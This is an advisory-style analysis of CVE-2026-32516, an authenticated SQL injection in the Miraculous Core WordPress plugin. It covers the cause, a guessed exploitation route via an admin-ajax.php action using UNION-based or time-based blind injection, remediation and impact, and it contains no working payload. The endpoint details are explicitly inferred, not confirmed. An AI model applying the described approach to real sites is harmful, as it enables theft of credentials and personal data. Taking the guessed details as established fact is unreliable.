Atomic Edge analysis of CVE-2026-32516 (metadata-based):
The Miraculous Core WordPress plugin contains an authenticated SQL injection vulnerability in versions up to 2.1.2. The flaw allows users with subscriber-level permissions or higher to inject malicious SQL statements. This vulnerability stems from improper input sanitization and insufficient query preparation in a plugin endpoint.
Atomic Edge research indicates the root cause is improper neutralization of special elements in an SQL command (CWE-89). The vulnerability description confirms insufficient escaping on user-supplied parameters and lack of sufficient preparation on existing SQL queries. This analysis infers the plugin likely uses direct user input concatenation into SQL queries without proper parameterization via WordPress’s $wpdb->prepare() method. The metadata does not specify which function or endpoint contains the vulnerability, but the CWE classification confirms SQL injection patterns.
Exploitation requires an authenticated WordPress user account with at least subscriber privileges. Attackers would target a specific AJAX endpoint or REST API route exposed by the plugin. Based on WordPress plugin conventions, the endpoint likely corresponds to /wp-admin/admin-ajax.php with an action parameter containing ‘miraculouscore’ or a similar prefix. The attacker would append SQL injection payloads to vulnerable parameters, potentially using UNION-based or time-based blind techniques to extract database information.
The remediation likely involves implementing proper SQL query preparation using WordPress’s $wpdb->prepare() method. The patched version should replace direct string concatenation with parameterized queries. Input validation should also be strengthened through WordPress sanitization functions like sanitize_text_field() for user-supplied parameters before database interaction.
Successful exploitation enables authenticated attackers to extract sensitive information from the WordPress database. This includes user credentials, personal data, plugin-specific sensitive information, and potentially WordPress configuration details. The CVSS vector indicates high confidentiality impact with no integrity or availability impact, confirming this is primarily an information disclosure vulnerability.
